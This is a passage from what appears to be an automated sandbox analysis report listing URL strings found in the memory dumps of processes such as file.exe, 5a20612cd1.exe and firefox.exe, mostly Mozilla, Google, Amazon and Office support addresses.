Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2997499284.00000294B5D7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userdiscoverystream.rec.impressions
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userdiscoverystream.rec.impressionsABOUT_SPONSORED_TOP_SITESabout:prefer
Source: firefox.exe, 0000001F.00000002.2931152196.00000294ADF43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2926644947.00000294AD16B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001F.00000002.2931152196.00000294ADF43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2926644947.00000294AD16B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 5a20612cd1.exe, 00000011.00000003.2761016578.00000000057E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001F.00000002.2933221891.00000294AE153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2908716384.00000294AC55E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpDid
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963998272.00000294AEB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUpdateService:_registerOnli
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesSELECT
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 5a20612cd1.exe, 00000011.00000003.2869633293.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2097723660.000000000C6AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B46D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1948031663.00000000061DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp, 5a20612cd1.exe, 00000011.00000003.2761445182.0000000005786000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2761016578.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 5a20612cd1.exe, 00000011.00000003.2761445182.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016HZhJogON
Source: file.exe, 00000000.00000003.1948031663.00000000061DC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp, 5a20612cd1.exe, 00000011.00000003.2761445182.0000000005786000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2761016578.00000000057E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 5a20612cd1.exe, 00000011.00000003.2761445182.0000000005762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.2213992001.0000000000F2C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A8511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A852C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A8511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A852C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A8511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A852C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001F.00000002.2906853139.00000294AC110000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A8511000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2892879533.00000294A852C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/Z
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B435C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001F.00000002.2993230028.00000294B4727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2991035077.00000294B4603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001F.00000002.3003383813.0000169348D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8626000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACEC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A922C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001F.00000002.2958725609.00000294AE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2215093487.0000000001AAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2888692712.00000294A7CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A9203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B435C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001F.00000003.2839121316.00000294B478D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2838024515.00000294B4298000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001F.00000003.2762399051.00000294ABF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989111865.00000294B445D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 5a20612cd1.exe, 00000011.00000003.2759178373.0000000005778000.00000004.00000800.00020000.00000000.sdmp, 5a20612cd1.exe, 00000011.00000003.2758760881.00000000057E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001F.00000003.2762399051.00000294ABF77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2844134582.00000294ADE66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2895107226.00000294A924C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2902018660.00000294AB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8626000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACEC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761534873.00000294ABF1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761201786.00000294ABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2761868239.00000294ABF3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2762122666.00000294ABF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001F.00000003.2844134582.00000294ADE66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchhttps://www.google.com/search
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001F.00000002.3002467721.00000C7EBB904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2951927454.00000294AE314000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3003702823.00001C0E8DC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001F.00000002.2895107226.00000294A92A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2921314720.00000294ACE9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.2891781284.00000294A8080000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
